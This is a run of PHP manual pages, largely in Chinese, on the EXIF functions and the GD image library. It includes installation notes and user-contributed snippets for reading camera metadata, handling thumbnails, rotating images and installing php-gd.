        $eexposuretime = $exif_data['ExposureTime'];
        $efnumber = $exif_data['FNumber'];
        $eiso = $exif_data['ISOSpeedRatings'];
        $edate = $exif_data['DateTime'];
?>

will work, I tried using the PEL library, and while pretty cool, I can't for the life understand how to call some things, this is simpler if your system is pretty basic or if you're in a rush.  If you have time, try playing with PEL.  It's not maintained at the moment though..

http://pel.sourceforge.net/
lincolnzsilva at gmail dot com 26-Sep-2008 04:57
Get some EXIFs fields (easy way):

<?php
        $exif_make = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emake = $exif_make['Make'];

        $exif_model = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emodel = $exif_model['Model'];

        $exif_exposuretime = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eexposuretime = $exif_exposuretime['ExposureTime'];

        $exif_fnumber = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $efnumber = $exif_fnumber['FNumber'];

        $exif_iso = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eiso = $exif_iso['ISOSpeedRatings'];

        $exif_date = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $edate = $exif_date['DateTime'];
?>
darkain at darkain dot com 28-Jul-2008 11:33
I wanted some quick and easy functions for computing the shutter speed and f-stop.  I couldn't find any anywhere, so I made some.  It took some research :

<?php
function exif_get_float($value) {
  $pos = strpos($value, '/');
  if ($pos === false) return (float) $value;
  $a = (float) substr($value, 0, $pos);
  $b = (float) substr($value, $pos+1);
  return ($b == 0) ? ($a) : ($a / $b);
}

function exif_get_shutter(&$exif) {
  if (!isset($exif['ShutterSpeedValue'])) return false;
  $apex    = exif_get_float($exif['ShutterSpeedValue']);
  $shutter = pow(2, -$apex);
  if ($shutter == 0) return false;
  if ($shutter >= 1) return round($shutter) . 's';
  return '1/' . round(1 / $shutter) . 's';
}

function exif_get_fstop(&$exif) {
  if (!isset($exif['ApertureValue'])) return false;
  $apex  = exif_get_float($exif['ApertureValue']);
  $fstop = pow(2, $apex/2);
  if ($fstop == 0) return false;
  return 'f/' . round($fstop,1);
}
?>
wdierkes at 5dollarwhitebox dot org 04-Sep-2007 06:20
Using the exif methods to read WINXP data returns unexpected results unless both exif and mbstring are compiled statically.  Please reference the following bug reports:

Bug #31980
Bug #23105

Specifically, the last comment on #23105:

"[8 Apr 2003 4:26pm UTC] edink@php.net

This cannot be fixed due to the fact that mbstring has been removed from PHP core (it has been 'unbundled') and the rest of core files and other extensions cannot use mbstring functionality when it is compiled as a shared library (dll).
"

If exif is compiled statically (--enable-exif) and mbstring compiled as a DSO module (--enable-mbstring=shared) then exif_read_data may only return a single character rather than the entire string.

Compiling both exif and mbstring statically (--enable-exif --enable-mbstring) resolves the issue.
mafo at mafo removethis dot sk 08-Aug-2007 01:57
some cameras (most higher models) have position senzor (gyroskope?) and taking-position is wrote in EXIF, here is simple script for automatic rotating images

<?php
$exif = exif_read_data($filename);
$ort = $exif['IFD0']['Orientation'];
    switch($ort)
    {
        case 1: // nothing
        break;

        case 2: // horizontal flip
            $image->flipImage($public,1);
        break;

        case 3: // 180 rotate left
            $image->rotateImage($public,180);
        break;

        case 4: // vertical flip
            $image->flipImage($public,2);
        break;

        case 5: // vertical flip + 90 rotate right
            $image->flipImage($public, 2);
                $image->rotateImage($public, -90);
        break;

        case 6: // 90 rotate right
            $image->rotateImage($public, -90);
        break;

        case 7: // horizontal flip + 90 rotate right
            $image->flipImage($public,1);
            $image->rotateImage($public, -90);
        break;

        case 8:    // 90 rotate left
            $image->rotateImage($public, 90);
        break;
    }

?>

$image->rotateImage() is inspired by example of http://php.net/manual/en/function.imagerotate.php
$image->flipImage() is inspired by http://php.net/manual/en/function.imagecopy.php#42803 (thank you)
05-Mar-2007 11:50
When reading EXIF information from the 'WINXP' group, you may need to change used encoding from the default "ISO-8859-15" to "UTF-8". This can be done in php.ini or in your code:

<?php
    ini_set('exif.encode_unicode', 'UTF-8');

    $exif = exif_read_data('TEST.JPG', 0, true);
    echo $exif['WINXP']['Title'];
?>

Useful documentation about EXIF:
http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html
See also comments next to XPTitle and XPAuthor.


获取指定索引的头名称

  • ? exif_read_data
  • exif_thumbnail ?
  • PHP Manual
  • Exif 函数
  • 获取指定索引的头名称

exif_tagname

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_tagname — 获取指定索引的头名称

说明

exif_tagname(int $index): string|false

参数

index

要查找的标签名称的 ID。

返回值

返回头名称。 如果 index 参数不是预定义的 EXIF 标签 id，则返回 false

示例

Example #1 exif_tagname() 函数示例

<?php
echo "256: ".exif_tagname(256).PHP_EOL;
echo "257: ".exif_tagname(257).PHP_EOL;
?>

以上示例会输出：

256: ImageWidth
257: ImageLength

参见

  • exif_imagetype() - 判断一个图像的类型
  • » EXIF 规范
  • » EXIF 标签

User Contributed Notes

abc at ed48 dot com 22-Jun-2011 10:03
In association with exif_read_data:

<?php

# The tagnames can vary in different cameras

$imgdir = "/path_to_img/";
$img_file = "image_file.jpg";

echo $img_file . "&nbsp;&nbsp;&nbsp;<sub>TEST</sub>
<br />";
echo '<img src="' . $imgdir . $img_file . '" alt="'
 . $img_file . '" title="' . $img_file . '" width="400" /><br /><br />';

$xf_data = exif_read_data($imgdir . $img_file);

$tagg = exif_tagname(0X10F);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X110);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X132);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0XA002);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';
$tagg = exif_tagname(0XA003);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';

?>
abc at ed48 dot com 21-Jun-2011 01:20
Theoretically, 65,535 tags are possible. Although not all are used, yet. The code below lists these tags:

<?php

for ($id = 1; $id <= 65535; $id++)
{
$dec2hex = dechex($id);

$strgx = '0x'. $dec2hex;

if(exif_tagname($strgx) != "")
{
echo $strgx . ' ( ' . exif_tagname($strgx) . ' )<br />';
}
}

?>


检索图像的嵌入式缩略图

  • ? exif_tagname
  • read_exif_data ?
  • PHP Manual
  • Exif 函数
  • 检索图像的嵌入式缩略图

exif_thumbnail

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_thumbnail — 检索图像的嵌入式缩略图

说明

exif_thumbnail(
resource|string $file,
int &$width = null,
int &$height = null,
int &$image_type = null
): string|false

exif_thumbnail() 读取图像的嵌入式缩略图。

如果想通过该函数发送缩略图，应该使用 header() 函数发送 mimetype 信息。

exif_thumbnail() 不能创建图像但能确定它的尺寸。在这种情况下，返回值是 false，但会设置 width 和 height。

参数

file

图像文件的路径。可以是文件路径也可以是流 resource。

width

返回缩略图的宽度。

height

返回缩略图的高度。

image_type

返回缩略图的图像类型。不是 TIFF 就是 JPEG。

返回值

返回嵌入式缩略图，如果图像不包含缩略图则返回 false。

更新日志

版本 | 说明
7.2.0 | file 参数现在支持本地文件和流资源。

示例

Example #1 exif_thumbnail() 示例

<?php
$image = exif_thumbnail('/path/to/image.jpg', $width, $height, $type);

if ($image!==false) {
header('Content-type: ' .image_type_to_mime_type($type));
echo $image;
exit;
} else {
// 没有可用的缩略图，这里处理错误
echo 'No thumbnail available';
}
?>

注释

Note:

如果传递流到此函数的 file，然后流必须是可寻找的。请注意，此函数返回后，文件指针位置不会改变。

参见

  • exif_read_data() - 从一个图片文件中读取 EXIF 头信息
  • image_type_to_mime_type() - 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型

User Contributed Notes

thrustvector at &#39;gee&#39;mail dot com 29-Jul-2008 01:40
If you've edited the image with image editing software and it no longer contains an exif thumbnail, I've created a script that will add one back into it, using the "PHP Exif Library": http://pel.sourceforge.net/index.php

<?php
require_once('../PEL/PelJpeg.php');
require_once('../PEL/PelIfd.php');
$fullpath = 'images/DSC_0013c.JPG';  # path of source image (does not contain an exif thumbnail)

$jpeg = new PelJpeg($fullpath);
 $exif = $jpeg->getExif();
 $tiff = $exif->getTiff();
 $ifd0 = $tiff->getIfd();        # need this so that we can later link it to the new IFD

 $ifd1 = $ifd0->getNextIfd();
if (!$ifd1) {        # Only create thumbnail if one doesn't exist (i.e. there is no IFD1)
    $ifd1 = new PelIfd(1);
    $ifd0->setNextIfd($ifd1); # point ifd0 to the new ifd1 (or else ifd1 will not be read)

    $original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
    $orig_w=imagesx($original);
    $orig_h=imagesy($original);
    $wmax = 160;
    $hmax = 120;

    if ($orig_w>$wmax || $orig_h>$hmax) {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h); # maintain aspect ratio
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    }
    else { # only set the thumb's size if the original is larger than 'wmax'x'hmax'
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }

        # create image resource with thumbnail sizing
    $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        ## Resize original and copy to the blank thumb resource
    imagecopyresampled($thumb,$original,
                               0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);

        # start writing output to buffer
    ob_start();
        # outputs thumb resource contents to buffer
    ImageJpeg($thumb);
        # create PelDataWindow from buffer thumb contents (and end output to buffer)
    $window = new PelDataWindow(ob_get_clean());

    if ($window) {

        $ifd1->setThumbnail($window); # set window data as thumbnail in ifd1
        $outpath = $fullpath; # overwrite original jpg file
        file_put_contents($outpath, $jpeg->getBytes()); # write everything to output filename
            # Show thumbnail in file:
        echo '<img src="thumb_exif.php?image='.$outpath.'" border=0 alt="If you see this, it did not work"><br>';

    }
}
else {
    echo 'ifd1 already exists! (IFD1 is where the thumbnail is stored)<br>';
}
?>
<?php # This is the code in thumb_exif.php :
        $imgdat = exif_thumbnail($_REQUEST['image'], $width, $height, $type);
        header('Content-type: ' . image_type_to_mime_type($type));
        echo($imgdat);
?>

If you have a lot of such files, you can easily make a script that searches them out and adds thumbnails to their exif.
Miguel Vitorino 08-Oct-2007 06:37
use this if you want to embed a thumbnail directly on the HTML page without writing it first to a file:

<?php
$image = exif_thumbnail($file, $width, $height, $type);

echo "<img  width='$width' height='$height' src='data:image/gif;base64,".base64_encode($image)."'>";
?>
05-Jan-2007 06:23
If you want to convert from TIFF to JPG you can use ImageMagick if it is installed in your server.

<?php
$exec = 'convert /path/to/file.tiff /path/to/file.jpg 2>&1';
@exec($exec, $exec_output, $exec_retval);

//possible error
print_r($exec_output)
?>
hanspeter dot debets at dendrite dot com 14-Jan-2005 06:35
Great that the thumbnail can be in TIFF format (f.i. Kodak cameras have embedded thumbnail in TIFF) BUT I have not been able to show TIFF as an embedded image in HTML (using the <IMG...> tag). There seems to be no function in PHP to change TIFF to, lets say, JPG. (imagecreatefromstring gives a 'unknown datatype' error for the TIFF stream. So below sample works great for JPEG embedded thumbnail, but not for TIFF embedded (but then, maybe I did something wrong?):

test_exif.php:

<HTML>
<HEAD>
    <TITLE>Test EXIF Read  </TITLE>
</HEAD>
<BODY>
<?php
$image='P0000614.JPG';
echo("<B>". $image. "</B>:<BR><BR>\n");

$exif = exif_read_data($image, 'ANY_TAG',true);
if (!$exif===false)
{
    echo("Image contains headers<br><br>");
    echo("<A href=showthumb.php?image=" . $image ."> <IMG border=0 src=showthumb.php?image=" . $image ."></A><BR><BR>");

    foreach ($exif as $key => $section)
    {
        foreach ($section as $name => $val)
        {
            echo "$key.$name: $val<br>\n";
        }
    }
}
else
{
    echo("Sorry, image <B>".$image . "</B> does not contain (readable) EXIF data.");
}
?>
</BODY>
</HTML>

showthumb.php:

<?php
$imgdat = exif_thumbnail($_REQUEST['image'],$width, $height, $type);
header('Content-type: ' . image_type_to_mime_type($type));
echo($imgdat);
?>

When clicking on the <A> opens the TIFF image in the program that windows assigned to this type, but the JPEG opens in the browser.

I am using PHP 4.3.6 on windows iis 4 (yeah, I know.....)
Eric 13-Jun-2004 07:05
This will allow you to manipulate the thumbnail image ($imgJpeg) using the various gd commands:

<?php
  if (($imgJpeg = exif_thumbnail($strImagePath)) === false)
    print "No Thumbnail!";
  else
    $imgJpeg = imageCreateFromString($imgJpeg);
?>


别名 exif_read_data

  • ? exif_thumbnail
  • GD ?
  • PHP Manual
  • Exif 函数
  • 别名 exif_read_data

read_exif_data

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

read_exif_data — 别名 exif_read_data()

Warning

This alias was DEPRECATED in PHP 7.2.0, and REMOVED as of PHP 8.0.0.

说明

此函数是该函数的别名： exif_read_data().

更新日志

版本 | 说明
7.2.0 | 这个函数别名被废弃。

User Contributed Notes

There are no user contributed notes for this page.


图像处理和 GD

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 使用 PHP 创建 PNG 图像
    • 使用 Alpha 通道为图像加水印
    • 使用 imagecopymerge 函数创建半透明水印
  • GD 和图像处理 函数
    • gd_info — 取得当前安装的 GD 库的信息
    • getimagesize — 取得图像大小
    • getimagesizefromstring — 从字符串中获取图像尺寸信息
    • image_type_to_extension — 取得图像类型的文件后缀
    • image_type_to_mime_type — 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型
    • image2wbmp — 输出图象到浏览器或文件。
    • imageaffine — 返回经过仿射变换后的图像，剪切区域可选
    • imageaffinematrixconcat — Concatenate two affine transformation matrices
    • imageaffinematrixget — Get an affine transformation matrix
    • imagealphablending — 设定图像的混色模式
    • imageantialias — 是否使用抗锯齿（antialias）功能
    • imagearc — 画弧线
    • imageavif — 输出图象到浏览器或文件。
    • imagebmp — Output a BMP image to browser or file
    • imagechar — 水平地绘制一个字符
    • imagecharup — 垂直地绘制一个字符
    • imagecolorallocate — 为图像分配颜色
    • imagecolorallocatealpha — 为图像分配颜色
    • imagecolorat — 取得某像素的颜色索引值
    • imagecolorclosest — 取得与指定的颜色最接近的颜色索引值
    • imagecolorclosestalpha — 获取最接近指定颜色 + alpha 的颜色索引
    • imagecolorclosesthwb — 取得与给定颜色最接近的色度的黑白色的索引
    • imagecolordeallocate — 取消图像颜色的分配
    • imagecolorexact — 取得指定颜色的索引值
    • imagecolorexactalpha — 取得指定的颜色加透明度的索引值
    • imagecolormatch — 使一个图像中调色板版本的颜色与真彩色版本更能匹配
    • imagecolorresolve — 取得指定颜色的索引值或有可能得到的最接近的替代值
    • imagecolorresolvealpha — 取得指定颜色 + alpha 或其最接近的替代值
    • imagecolorset — 给指定调色板索引设定颜色
    • imagecolorsforindex — 获取索引的颜色
    • imagecolorstotal — 取得图像调色板中的颜色数量
    • imagecolortransparent — 将颜色定义为透明
    • imageconvolution — 用系数 div 和 offset 申请一个 3x3 的卷积矩阵
    • imagecopy — 拷贝图像的一部分
    • imagecopymerge — 拷贝并合并图像的一部分
    • imagecopymergegray — 用灰度复制并合并图像的一部分
    • imagecopyresampled — 重采样拷贝部分图像并调整大小
    • imagecopyresized — 拷贝部分图像并调整大小
    • imagecreate — 创建新的基于调色板的图像
    • imagecreatefromavif — 由文件或 URL 创建一个新图象。
    • imagecreatefrombmp — 由文件或 URL 创建一个新图象。
    • imagecreatefromgd2 — 从 GD2 文件或 URL 新建一图像
    • imagecreatefromgd2part — 从指定的 GD2 文件或 URL 的部分创建新图像
    • imagecreatefromgd — 从 GD 文件或 URL 新建一图像
    • imagecreatefromgif — 由文件或 URL 创建一个新图象。
    • imagecreatefromjpeg — 由文件或 URL 创建一个新图象。
    • imagecreatefrompng — 由文件或 URL 创建一个新图象。
    • imagecreatefromstring — 从字符串的图像流中新建图像
    • imagecreatefromtga — 由文件或 URL 创建一个新图象。
    • imagecreatefromwbmp — 由文件或 URL 创建一个新图象。
    • imagecreatefromwebp — 由文件或 URL 创建一个新图象。
    • imagecreatefromxbm — 由文件或 URL 创建一个新图象。
    • imagecreatefromxpm — 由文件或 URL 创建一个新图象。
    • imagecreatetruecolor — 新建真彩色图像
    • imagecrop — Crop an image to the given rectangle
    • imagecropauto — Crop an image automatically using one of the available modes
    • imagedashedline — 绘制虚线
    • imagedestroy — 销毁图像
    • imageellipse — 画椭圆
    • imagefill — 漫水填充
    • imagefilledarc — 绘制部分弧形并填充
    • imagefilledellipse — 绘制椭圆并填充
    • imagefilledpolygon — 绘制多边形并填充
    • imagefilledrectangle — 绘制矩形并填充
    • imagefilltoborder — 漫水填充特定颜色
    • imagefilter — 对图像使用过滤器
    • imageflip — Flips an image using a given mode
    • imagefontheight — 获取字体高度
    • imagefontwidth — 获取字体宽度
    • imageftbbox — 通过 freetype2 使用字体给出文本的边界框
    • imagefttext — 使用 FreeType 2 字体将文本写入图像
    • imagegammacorrect — 对 GD 图像应用伽玛校正
    • imagegd2 — 将 GD2 图像输出到浏览器或文件
    • imagegd — 将 GD 图像输出到浏览器或文件
    • imagegetclip — Get the clipping rectangle
    • imagegetinterpolation — Get the interpolation method
    • imagegif — 输出图象到浏览器或文件。
    • imagegrabscreen — Captures the whole screen
    • imagegrabwindow — Captures a window
    • imageinterlace — 启用或禁用隔行扫描
    • imageistruecolor — 检查图像是否为真彩色图像
    • imagejpeg — 输出图象到浏览器或文件。
    • imagelayereffect — 设定 alpha 混合标志以使用分层效果
    • imageline — 绘制直线
    • imageloadfont — 载入新字体
    • imageopenpolygon — Draws an open polygon
    • imagepalettecopy — 将调色板从一个图像复制到另一个
    • imagepalettetotruecolor — Converts a palette based image to true color
    • imagepng — 将 PNG 图像输出到浏览器或文件
    • imagepolygon — 绘制多边形
    • imagerectangle — 绘制矩形
    • imageresolution — Get or set the resolution of the image
    • imagerotate — 用给定角度旋转图像
    • imagesavealpha — 保存图像时是否保留完整的 alpha 通道信息
    • imagescale — Scale an image using the given new width and height
    • imagesetbrush — 为线条设置笔刷图像
    • imagesetclip — Set the clipping rectangle
    • imagesetinterpolation — Set the interpolation method
    • imagesetpixel — 设置单个像素
    • imagesetstyle — 设定线条的样式
    • imagesetthickness — 设定画线的粗细
    • imagesettile — 设置要填充的平铺图像
    • imagestring — 水平绘制字符串
    • imagestringup — 垂直绘制字符串
    • imagesx — 取得图像宽度
    • imagesy — 取得图像高度
    • imagetruecolortopalette — 将真彩色图像转换为调色板图像
    • imagettfbbox — 取得使用 TrueType 字体的文本的边界框
    • imagettftext — 用 TrueType 字体向图像写入文本
    • imagetypes — 返回 PHP 内置支持的图像类型
    • imagewbmp — 输出图象到浏览器或文件。
    • imagewebp — 将 WebP 格式的图像输出到浏览器或文件
    • imagexbm — 输出 XBM 图像到浏览器或文件
    • iptcembed — 嵌入二进制 IPTC 数据到 JPEG 图像中
    • iptcparse — 将二进制 IPTC 块解析为单个标签
    • jpeg2wbmp — 将 JPEG 图像文件转换为 WBMP 图像文件
    • png2wbmp — 将 PNG 图像文件转换为 WBMP 图像文件
  • GdImage — GdImage 类
  • GdFont — The GdFont class

User Contributed Notes

mhkh1366 at gmail dot com 17-May-2019 06:38
### Attention:
For previewing images created by GD library in php file format in web browser, you should attention these two items:
1_ Make sure that GD is enable in php.ini
2_ Make sure that your php file encoding is ANSI/ASCII or you should use ob_clean() function before changing the header by header() function
herbert dot walde at googlemail dot com 04-Jan-2012 11:41
In case your script is using output-buffering-functions somewhere, then you have to clear the buffer first ( with ob_clear() ), before outputting an image with a function like imagepng().

And you should make sure that no buffer will get send after outputing an image by using the ob_end_flush()-function.

Furthermore you should check if a buffer has already been flushed somewhere before. This can be done using the headers_sent()-function.

Here is the full solution:

<?php
if(headers_sent()){
    die('Headers have been send somewhere within my script');
}

ob_clean(); //Clears the buffer

header('Content-type: image/png');
imagepng($img, NULL, 0,  NULL);

ob_end_flush(); //Now we send the header and image plus we make sure that nothing will get send from now on (including possible shutdown-functions and __destruct()-methods) till the end of page-execution
?>
donatj at gmail dot com 12-Jul-2011 01:43
UTF-8 is fine with GD - as well as any other Unicode transformation format - you just need to ensure your saved file doesn't contain the dreaded byte order mark.
kurdtpage at gmail dot com 27-Apr-2011 10:53
When using GD, please make sure of the following things:

1. The file that is used to manipulate images is saved as ANSI format and not UTF-8
2. There is no space in front of the opening tag <?php
mail at ecross dot nl 03-Apr-2010 07:31
hello there,
i made a function to create a gradient image.

description:
gradient(int image_width, int image_height,
int start_red, int start_green, int start_blue,
int end_red, int end_green, int end_blue,
bool vertical)

function:
<?php
function gradient($image_width, $image_height,$c1_r, $c1_g, $c1_b, $c2_r, $c2_g, $c2_b, $vertical=false)
{
// first: lets type cast;
$image_width = (integer)$image_width;
$image_height = (integer)$image_height;
$c1_r = (integer)$c1_r;
$c1_g = (integer)$c1_g;
$c1_b = (integer)$c1_b;
$c2_r = (integer)$c2_r;
$c2_g = (integer)$c2_g;
$c2_b = (integer)$c2_b;
$vertical = (bool)$vertical;

// create a image
$image  = imagecreatetruecolor($image_width, $image_height);

// make the gradient
for($i=0; $i<$image_height; $i++)
{
$color_r = floor($i * ($c2_r-$c1_r) / $image_height)+$c1_r;
$color_g = floor($i * ($c2_g-$c1_g) / $image_height)+$c1_g;
$color_b = floor($i * ($c2_b-$c1_b) / $image_height)+$c1_b;

$color = ImageColorAllocate($image, $color_r, $color_g, $color_b);
imageline($image, 0, $i, $image_width, $i, $color);
}

# Prints out all the figures and picture and frees memory
header('Content-type: image/png');

if($vertical){$image = imagerotate($image, 90, 0);}
ImagePNG($image);
imagedestroy($image);
}
?>
Thomas 10-Dec-2008 02:05
You know, maybe this goes without saying, but I thought I would drop a note in here.  When developing code to resize images, it is best not to use GD.  When using the current GD methodologies, you are reading content from an image and manipulating it.  By then writing that content to a brand new file, you are losing the EXIF data.

For purposes when you want to retain EXIF data, it is recommended that you compile in and use the PECL Imagick extension.  It has great resizing methods built right in and the EXIF data is retained.
code at ashleyhunt dot co dot uk 23-Oct-2008 06:02
I have been looking to send the output from GD to a text string without proxying via a file or to a browser.

I have come up with a solution.

This code buffers the output between the ob_start() and ob_end() functions into ob_get_contents()

See the example below

<?php
// Create a test source image for this example
$im = imagecreatetruecolor(300, 50);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// start buffering
ob_start();
// output jpeg (or any other chosen) format & quality
imagejpeg($im, NULL, 85);
// capture output to string
$contents = ob_get_contents();
// end capture
ob_end_clean();

// be tidy; free up memory
imagedestroy($im);

// lastly (for the example) we are writing the string to a file
$fh = fopen("./temp/img.jpg", "a+" );
    fwrite( $fh, $contents );
fclose( $fh );
?>

Enjoy!
Ashley


简介

PHP 并不仅限于创建 HTML 输出， 它也可以创建和处理包括 GIF， PNG， JPEG， WBMP 以及 XPM 在内的多种格式的图像。 更加方便的是，PHP 可以直接将图像数据流输出到浏览器。 要想在 PHP 中使用图像处理功能，你需要连带 GD 库一起来编译 PHP。 GD 库和 PHP 可能需要其他的库， 这取决于你要处理的图像格式。

你可以使用 PHP 中的图像函数来获取下列格式图像的大小： JPEG， GIF， PNG， SWF， TIFF 和 JPEG2000。

如果联合 exif 扩展 一起使用， 你可以操作存储在 JPEG 和 TIFF 图像文件头部的信息， 这样就就可以获取数码相机所产生的元数据。 exif 相关的函数不需要 GD 库亦可使用。

Note: 关于如何扩展图像处理能力，例如读取、写入以及修改， 请参考"需求"一节。 要想读取数码相机拍摄的图片的元数据， 你需要上面提到的 exif 扩展。

Note: getimagesize() 函数不需要 GD 扩展库。

Caution

由于绑定的 GD 库使用 Zend 内存管理机制来分配内存， 所以所使用的内存大小不受 memory_limit 配置参数限制。

GD 库支持多种图像格式， 下标所列的是 GD 所支持的格式，请注意备图像格式对应的读取/写入支持的可用性。

GD 所支持的格式
格式 | 支持读取 | 支持写入 | 备注
JPEG | true | true |
PNG | true | true |
GIF | true | true |
XBM | true | true |
XPM | true | false |
WBMP | true | true |
WebP | true | true |
BMP | true | true | 从 PHP 7.2.0 开始支持

很遗憾的是，虽然上表中显示大部分图像格式都是支持读取和写入的， 但是不代表你的 PHP 环境在编译的时候是支持这些操作的。 要想检测 GD 库所支持的格式，请使用 gd_info() 函数， 更多信息请参考 "安装" 一章。

User Contributed Notes

gamesparamundo123 at gmail dot com 28-Feb-2020 01:27
The EXIF extension has been updated to support a much larger range of formats. This means that their format specific tags are now properly translated when parsing images with the exif_read_data() function. The following new formats are now supported:

Samsung
DJI
Panasonic
Sony
Pentax
Minolta
Sigma/Foveon
AGFA
Kyocera
Ricoh
Epson
The EXIF functions exif_read_data() and exif_thumbnail() now support passing streams as their first argument.


需求

如果拥有 GD 库（位于 » http://www.libgd.org/），还可以创建和处理图像。

可以处理的图像格式取决于安装的 GD 版本，以及 GD 可能需要访问这些图像格式的任何其他库。

Note: 需要 libgd-2.1.0 或更高版本。或者使用 PHP 中绑定的 GD 库。

Note: GD 库需要 zlib >= 1.2.0.4。

可能希望增强 GD 库以处理更多的图像格式。

支持的图像格式
图像格式 | 需要下载的库 | 备注
gif |  |
jpeg | » http://www.ijg.org/ | 在编译 jpeg 时（编译 PHP 之前），必须在配置步骤使用 --enable-shared 选项。否则，当进入编译 PHP 的配置步骤时，会收到一条错误信息，说 libjpeg.(a|so) not found。
png | » http://www.libpng.org/pub/png/libpng.html |
xpm | » http://www.ibiblio.org/pub/Linux/libs/X/!INDEX.html | 如果你的系统中已经安装了 X-Environment，就可能已经有了这个库。

希望增强 GD 以处理不同的字体。» FreeType 2 库支持。

User Contributed Notes

There are no user contributed notes for this page.


安装

要激活 GD 支持，配置 PHP 时加上 --with-gd[=DIR]，DIR 是 GD 的基本安装目录。要使用推荐的绑定的 GD 库版本，使用 --with-gd。要编译 GD 库，需要libpng 和 libjpeg。 自 PHP 7.4.0 起，--with-gd 变为 --enable-gd （是否启用扩展） 和 --with-external-gd （选择使用外部 libgd，而不是绑定的）。

在 Windows 中，需要将 GD 的 DLL 文件 php_gd.dll 作为一个扩展包含在 php.ini 中。 在 PHP 8.0.0 之前，DLL 被命名为 php_gd2.dll。

要增强 GD 的能力以处理更多的图像格式，在配置 PHP 时指定 --with-XXXX 的配置开关。

所支持的图像格式
图像格式 | 配置开关
jpeg | 要激活 jpeg 的支持，加上 --with-jpeg-dir=DIR。 支持 Jpeg 6b、7 或 8。 从 PHP 7.4.0 开始，使用 --with-jpeg 替代。
png | 要激活 png 的支持，加上 --with-png-dir=DIR。注意，libpng 需要 zlib library，因此配置中还要加上 --with-zlib-dir[=DIR]。 从 PHP 7.4.0 开始，--with-png-dir 和 --with-zlib-dir 已经移除。 需要安装 libpng 和 zlib。
xpm | 要激活 xpm 的支持，加上 --with-xpm-dir=DIR。 如果配置时提示找不到所需要的库，可以加上 X11 库的路径。 从 PHP 7.4.0 开始，使用 --with-xpm 替代。
webp | 要激活 xpm 的支持，加上 --with-webp-dir=DIR。 从 PHP 7.4.0 开始，使用 --with-webp 替代。

Note: 当把 PHP 和 libpng 一起编译时，必须使用和 GD 库连接的同一个版本。

要增强 GD 的能力以处理更多的字体，在配置 PHP 时指定 --with-XXXX 的配置开关。

所支持的字库
字库 | 配置开关
FreeType 2 | 要激活 FreeType 2 的支持，加上 --with-freetype-dir=DIR。 从 PHP 7.4.0 开始使用 --with-freetype 代替，它依赖于 pkg-config。
本地 TrueType 字符串函数 | 要激活本地 TrueType 字符串函数的支持，加上 --enable-gd-native-ttf。 （此选项无效，自 PHP 7.2.0 起已被删除。）

User Contributed Notes

oskari at cellarcode dot com 21-Jun-2023 02:54
Note if you have php-fpm installed, you have to restart the service for the installation to show up in phpinfo output...

systemctl restart php-fpm (or equivalent)
Parmjit Singh 22-Feb-2021 01:48
Installation on Pop-os No need for php5 or php7.0 etc:

sudo apt install php-gd
omni at ominsapien dot com 31-Jan-2021 04:04
Hello. Does GD image processing allow for color spaces / color profiles to be defined or maintained from the source image? For example, if I upload a jpg with ProPhoto RGB color space with the embedded profile, will all of the subsequent processed images that are output maintain the profile? Or is there no profile and or is it changed to sRGB?

Same question goes for ImageMagick.

Thank you so much!
tecknovice at gmail dot com 24-Mar-2020 08:36
currently is php7.2-gd

sudo apt install php7.2-gd
Gabriel Torres 09-Feb-2020 10:52
As of PHP 7.4, to enable GD you have to use --enable-gd instead of --with-gd
nordin74 11-Jan-2020 07:40
Since 7.4 replace "--with-gd" by "--enable-gd"
abdulbasitsaeed 19-Mar-2019 04:28
To install PHP GD extension on an Amazon Linux AMI server, with php 7:

sudo yum install php 70-gd

Do remember to restart Apache after the installation!

sudo service httpd restart
fabrizzio at webtux dot cl 19-Oct-2018 11:22
php --version if result is 7.2 version

sudo apt-get install php7.2-gd
remalsha at gmail dot com 13-Feb-2018 07:22
On AntergosOS ( Arch linux )

*first run >>php -v   and get current php version. In my case for PHP 7.1.14

      sudo pacman -S php71-gd

then restart you apache server using,

      sudo systemctl restart httpd
Qussayyon Qamaron: Qusai.zf2@gmailcom 25-Mar-2017 05:07
#install under Ubuntu 16.04:
    * if you have access to PHP7.1:
        <sudo> apt install php7.1-gd && <sudo> systemctl restart apache2
    * if you have access to PHP7.0:
        <sudo> apt install php7.0-gd && <sudo> systemctl restart apache2

------------------------------------------------
Qussayyon Qamaron: Qusai.zf2gmailcom
theonestep4 at gmail dot com 13-Dec-2016 05:00
To install on CentOS:

yum install php-gd
Anonymous 03-Nov-2016 12:52
For all who use php 7 and ubuntu

sudo apt-get install php7.0-gd
Mike K 30-Mar-2016 07:16
